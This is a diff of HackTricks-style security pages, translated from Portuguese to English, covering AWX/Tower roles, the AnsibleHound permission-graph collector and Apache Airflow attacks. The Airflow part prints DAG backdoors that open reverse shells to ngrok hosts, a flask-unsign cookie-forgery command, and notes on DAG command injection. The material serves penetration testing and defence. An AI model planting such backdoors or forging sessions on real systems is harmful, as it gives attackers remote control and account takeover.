- O usuário, através da Interface Web ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
|
||||
- O Modelo de Tarefa inclui referências ao **Inventário**, **Projeto** (contendo o playbook) e **Credenciais**.
|
||||
- Após a iniciação da tarefa, uma solicitação é enviada ao backend do AWX/Tower para colocar a tarefa na fila para execução.
|
||||
3. **Fila de Tarefas**:
|
||||
- **RabbitMQ** gerencia a comunicação entre o componente web e os executores de tarefas. Uma vez que uma tarefa é iniciada, uma mensagem é despachada para o motor de tarefas usando RabbitMQ.
|
||||
- **Redis** atua como o backend para a fila de tarefas, gerenciando tarefas enfileiradas aguardando execução.
|
||||
4. **Execução da Tarefa**:
|
||||
- O **Motor de Tarefas** pega a tarefa enfileirada. Ele recupera as informações necessárias do **Banco de Dados** sobre o playbook associado à tarefa, inventário e credenciais.
|
||||
- Usando o playbook do Ansible recuperado do **Projeto** associado, o Motor de Tarefas executa o playbook contra os nós do **Inventário** especificado usando as **Credenciais** fornecidas.
|
||||
- À medida que o playbook é executado, sua saída de execução (logs, fatos, etc.) é capturada e armazenada no **Banco de Dados**.
|
||||
5. **Resultados da Tarefa**:
|
||||
- Uma vez que o playbook termina de ser executado, os resultados (sucesso, falha, logs) são salvos no **Banco de Dados**.
|
||||
- Os usuários podem então visualizar os resultados através da Interface Web ou consultá-los via API REST.
|
||||
- Com base nos resultados das tarefas, **Notificações** podem ser enviadas para informar usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
|
||||
6. **Integração com Sistemas Externos**:
|
||||
- **Inventários** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais.
|
||||
- **Projetos** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa.
|
||||
- **Agendadores e Callbacks** podem ser usados para integrar com outros sistemas ou ferramentas, fazendo com que o AWX/Tower reaja a gatilhos externos ou execute tarefas em horários predeterminados.
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
|
||||
### Criação de laboratório AWX para testes
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
|
||||
[**Seguindo a documentação**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) é possível usar docker-compose para executar o AWX:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -82,78 +83,79 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Funções suportadas
|
||||
### Supported roles
|
||||
|
||||
A função mais privilegiada é chamada de **Administrador do Sistema**. Qualquer pessoa com essa função pode **modificar qualquer coisa**.
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
|
||||
De uma revisão de **segurança de caixa branca**, você precisaria da **função de Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer alterações. Outra opção seria obter a **função de Auditor da Organização**, mas seria melhor obter a outra.
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expanda isso para obter uma descrição detalhada das funções disponíveis</summary>
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
|
||||
1. **Administrador do Sistema**:
|
||||
- Esta é a função de superusuário com permissões para acessar e modificar qualquer recurso no sistema.
|
||||
- Eles podem gerenciar todas as organizações, equipes, projetos, inventários, modelos de trabalho, etc.
|
||||
2. **Auditor do Sistema**:
|
||||
- Usuários com essa função podem visualizar todos os dados do sistema, mas não podem fazer alterações.
|
||||
- Esta função é projetada para conformidade e supervisão.
|
||||
3. **Funções da Organização**:
|
||||
- **Admin**: Controle total sobre os recursos da organização.
|
||||
- **Auditor**: Acesso somente para visualização aos recursos da organização.
|
||||
- **Membro**: Membro básico em uma organização sem permissões específicas.
|
||||
- **Executar**: Pode executar modelos de trabalho dentro da organização.
|
||||
- **Ler**: Pode visualizar os recursos da organização.
|
||||
4. **Funções do Projeto**:
|
||||
- **Admin**: Pode gerenciar e modificar o projeto.
|
||||
- **Usar**: Pode usar o projeto em um modelo de trabalho.
|
||||
- **Atualizar**: Pode atualizar o projeto usando SCM (controle de versão).
|
||||
5. **Funções do Inventário**:
|
||||
- **Admin**: Pode gerenciar e modificar o inventário.
|
||||
- **Ad Hoc**: Pode executar comandos ad hoc no inventário.
|
||||
- **Atualizar**: Pode atualizar a fonte do inventário.
|
||||
- **Usar**: Pode usar o inventário em um modelo de trabalho.
|
||||
- **Ler**: Acesso somente para visualização.
|
||||
6. **Funções do Modelo de Trabalho**:
|
||||
- **Admin**: Pode gerenciar e modificar o modelo de trabalho.
|
||||
- **Executar**: Pode executar o trabalho.
|
||||
- **Ler**: Acesso somente para visualização.
|
||||
7. **Funções de Credenciais**:
|
||||
- **Admin**: Pode gerenciar e modificar as credenciais.
|
||||
- **Usar**: Pode usar as credenciais em modelos de trabalho ou outros recursos relevantes.
|
||||
- **Ler**: Acesso somente para visualização.
|
||||
8. **Funções da Equipe**:
|
||||
- **Membro**: Parte da equipe, mas sem permissões específicas.
|
||||
- **Admin**: Pode gerenciar os membros da equipe e os recursos associados.
|
||||
9. **Funções do Fluxo de Trabalho**:
|
||||
- **Admin**: Pode gerenciar e modificar o fluxo de trabalho.
|
||||
- **Executar**: Pode executar o fluxo de trabalho.
|
||||
- **Ler**: Acesso somente para visualização.
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeração & Mapeamento de Caminho de Ataque com AnsibleHound
|
||||
## Enumeration & Attack-Path Mapping with AnsibleHound
|
||||
|
||||
`AnsibleHound` é um coletor BloodHound *OpenGraph* de código aberto escrito em Go que transforma um token de API do Ansible Tower/AWX/Automation Controller **somente leitura** em um gráfico de permissões completo pronto para ser analisado dentro do BloodHound (ou BloodHound Enterprise).
|
||||
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
|
||||
|
||||
### Por que isso é útil?
|
||||
1. A API REST do Tower/AWX é extremamente rica e expõe **cada objeto e relacionamento RBAC** que sua instância conhece.
|
||||
2. Mesmo com o token de menor privilégio (**Ler**), é possível enumerar recursivamente todos os recursos acessíveis (organizações, inventários, hosts, credenciais, projetos, modelos de trabalho, usuários, equipes…).
|
||||
3. Quando os dados brutos são convertidos para o esquema do BloodHound, você obtém as mesmas capacidades de visualização de *caminho de ataque* que são tão populares em avaliações do Active Directory – mas agora direcionadas à sua infraestrutura de CI/CD.
|
||||
### Why is this useful?
|
||||
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
|
||||
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
|
||||
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
|
||||
|
||||
As equipes de segurança (e atacantes!) podem, portanto:
|
||||
* Compreender rapidamente **quem pode se tornar admin de quê**.
|
||||
* Identificar **credenciais ou hosts que são acessíveis** a partir de uma conta não privilegiada.
|
||||
* Encadear múltiplas arestas “Ler ➜ Usar ➜ Executar ➜ Admin” para obter controle total sobre a instância do Tower ou a infraestrutura subjacente.
|
||||
Security teams (and attackers!) can therefore:
|
||||
* Quickly understand **who can become admin of what**.
|
||||
* Identify **credentials or hosts that are reachable** from an unprivileged account.
|
||||
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
|
||||
|
||||
### Pré-requisitos
|
||||
* Ansible Tower / AWX / Automation Controller acessível via HTTPS.
|
||||
* Um token de API de usuário com escopo **Ler** apenas (criado a partir de *Detalhes do Usuário → Tokens → Criar Token → escopo = Ler*).
|
||||
* Go ≥ 1.20 para compilar o coletor (ou use os binários pré-compilados).
|
||||
### Prerequisites
|
||||
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
|
||||
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
|
||||
|
||||
### Construindo & Executando
|
||||
### Building & Running
|
||||
```bash
|
||||
# Compile the collector
|
||||
cd collector
|
||||
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
Internamente, o AnsibleHound realiza requisições `GET` *paginated* contra (pelo menos) os seguintes endpoints e segue automaticamente os links `related` retornados em cada objeto JSON:
|
||||
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
@@ -173,32 +175,37 @@ Internamente, o AnsibleHound realiza requisições `GET` *paginated* contra (pel
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
Todos os arquivos coletados são mesclados em um único arquivo JSON no disco (padrão: `ansiblehound-output.json`).
|
||||
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
|
||||
|
||||
### Transformação BloodHound
|
||||
Os dados brutos do Tower são então **transformados para BloodHound OpenGraph** usando nós personalizados prefixados com `AT` (Ansible Tower):
|
||||
### BloodHound Transformation
|
||||
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
E arestas modelando relacionamentos / privilégios:
|
||||
And edges modelling relationships / privileges:
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
O resultado pode ser importado diretamente para o BloodHound:
|
||||
The result can be imported straight into BloodHound:
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
Opcionalmente, você pode fazer upload de **ícones personalizados** para que os novos tipos de nó sejam visualmente distintos:
|
||||
|
||||
Optionally you can upload **custom icons** so that the new node types are visually distinct:
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
### Considerações Defensivas e Ofensivas
|
||||
* Um token *Read* é normalmente considerado inofensivo, mas ainda vaza a **topologia completa e todos os metadados de credenciais**. Trate-o como sensível!
|
||||
* Imponha **menor privilégio** e gire / revogue tokens não utilizados.
|
||||
* Monitore a API para enumeração excessiva (múltiplas requisições `GET` sequenciais, alta atividade de paginação).
|
||||
* Do ponto de vista de um atacante, esta é uma técnica perfeita de *ponto de apoio inicial → escalonamento de privilégios* dentro do pipeline CI/CD.
|
||||
|
||||
## Referências
|
||||
* [AnsibleHound – Coletor BloodHound para Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
### Defensive & Offensive Considerations
|
||||
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
|
||||
* Enforce **least privilege** and rotate / revoke unused tokens.
|
||||
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
|
||||
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
|
||||
|
||||
## References
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,22 +1,23 @@
|
||||
# Segurança do Apache Airflow
|
||||
# Apache Airflow Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Informações Básicas
|
||||
### Basic Information
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serve como uma plataforma para **orquestrar e agendar pipelines de dados ou fluxos de trabalho**. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e consumíveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a, ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
|
||||
Basicamente, o Apache Airflow permitirá que você **agende a execução de código quando algo** (evento, cron) **acontecer**.
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
|
||||
### Laboratório Local
|
||||
### Local Lab
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
Você pode usar o **arquivo de configuração docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lançar um ambiente docker completo do apache airflow. (Se você estiver no MacOS, certifique-se de dar pelo menos 6GB de RAM para a VM do docker).
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
Uma maneira fácil de **executar apache airflow** é executá-lo **com minikube**:
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -26,72 +27,76 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Configuração do Airflow
|
||||
|
||||
O Airflow pode armazenar **informações sensíveis** em sua configuração ou você pode encontrar configurações fracas em vigor:
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
{{#endref}}
|
||||
|
||||
### RBAC do Airflow
|
||||
### Airflow RBAC
|
||||
|
||||
Antes de começar a atacar o Airflow, você deve entender **como as permissões funcionam**:
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Ataques
|
||||
### Attacks
|
||||
|
||||
#### Enumeração do Console Web
|
||||
#### Web Console Enumeration
|
||||
|
||||
Se você tiver **acesso ao console web**, pode ser capaz de acessar algumas ou todas as seguintes informações:
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
|
||||
- **Variáveis** (Informações sensíveis personalizadas podem ser armazenadas aqui)
|
||||
- **Conexões** (Informações sensíveis personalizadas podem ser armazenadas aqui)
|
||||
- Acesse-as em `http://<airflow>/connection/list/`
|
||||
- [**Configuração**](./#airflow-configuration) (Informações sensíveis como o **`secret_key`** e senhas podem ser armazenadas aqui)
|
||||
- Liste **usuários e funções**
|
||||
- **Código de cada DAG** (que pode conter informações interessantes)
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
|
||||
#### Recuperar Valores de Variáveis
|
||||
#### Retrieve Variables Values
|
||||
|
||||
As variáveis podem ser armazenadas no Airflow para que os **DAGs** possam **acessar** seus valores. É semelhante a segredos de outras plataformas. Se você tiver **permissões suficientes**, pode acessá-las na GUI em `http://<airflow>/variable/list/`.\
|
||||
O Airflow, por padrão, mostrará o valor da variável na GUI, no entanto, de acordo com [**isso**](https://marclamberti.com/blog/variables-with-apache-airflow/), é possível definir uma **lista de variáveis** cujo **valor** aparecerá como **asteriscos** na **GUI**.
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
No entanto, esses **valores** ainda podem ser **recuperados** via **CLI** (você precisa ter acesso ao DB), execução de **DAG** arbitrário, **API** acessando o endpoint de variáveis (a API precisa ser ativada) e **até mesmo a própria GUI!**\
|
||||
Para acessar esses valores pela GUI, basta **selecionar as variáveis** que você deseja acessar e **clicar em Ações -> Exportar**.\
|
||||
Outra maneira é realizar um **bruteforce** no **valor oculto** usando o **filtro de pesquisa** até obtê-lo:
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Escalação de Privilégios
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
Se a configuração **`expose_config`** estiver definida como **True**, a partir da **função Usuário** e **acima**, pode-se **ler** a **configuração na web**. Nessa configuração, o **`secret_key`** aparece, o que significa que qualquer usuário com isso válido pode **criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### Backdoor de DAG (RCE no trabalhador do Airflow)
|
||||
|
||||
Se você tiver **acesso de gravação** ao local onde os **DAGs são salvos**, você pode simplesmente **criar um** que enviará para você um **reverse shell.**\
|
||||
Observe que este reverse shell será executado dentro de um **container de trabalhador do airflow**:
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -100,66 +105,74 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE no scheduler do Airflow)
|
||||
|
||||
Se você definir algo para ser **executado na raiz do código**, no momento da escrita deste texto, ele será **executado pelo scheduler** após alguns segundos depois de colocá-lo dentro da pasta do DAG.
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### Criação de DAG
|
||||
|
||||
Se você conseguir **comprometer uma máquina dentro do cluster DAG**, pode criar novos **scripts DAG** na pasta `dags/` e eles serão **replicados no restante das máquinas** dentro do cluster DAG.
|
||||
#### DAG Creation
|
||||
|
||||
#### Injeção de Código em DAG
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
|
||||
Quando você executa um DAG pela GUI, pode **passar argumentos** para ele.\
|
||||
Portanto, se o DAG não estiver devidamente codificado, ele pode ser **vulnerável a Injeção de Comando.**\
|
||||
Foi isso que aconteceu neste CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
#### DAG Code Injection
|
||||
|
||||
Tudo o que você precisa saber para **começar a procurar por injeções de comando em DAGs** é que **parâmetros** são **acessados** com o código **`dag_run.conf.get("param_name")`**.
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
|
||||
Além disso, a mesma vulnerabilidade pode ocorrer com **variáveis** (note que com privilégios suficientes você poderia **controlar o valor das variáveis** na GUI). Variáveis são **acessadas com**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
Se forem usados, por exemplo, dentro de um comando bash, você pode realizar uma injeção de comando.
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,105 +1,114 @@
|
||||
# Configuração do Airflow
|
||||
# Airflow Configuration
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Arquivo de Configuração
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** gera um **arquivo de configuração** em todas as máquinas do airflow chamado **`airflow.cfg`** na pasta home do usuário airflow. Este arquivo de configuração contém informações de configuração e **pode conter informações interessantes e sensíveis.**
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
|
||||
**Existem duas maneiras de acessar este arquivo: Comprometendo alguma máquina do airflow ou acessando o console web.**
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
|
||||
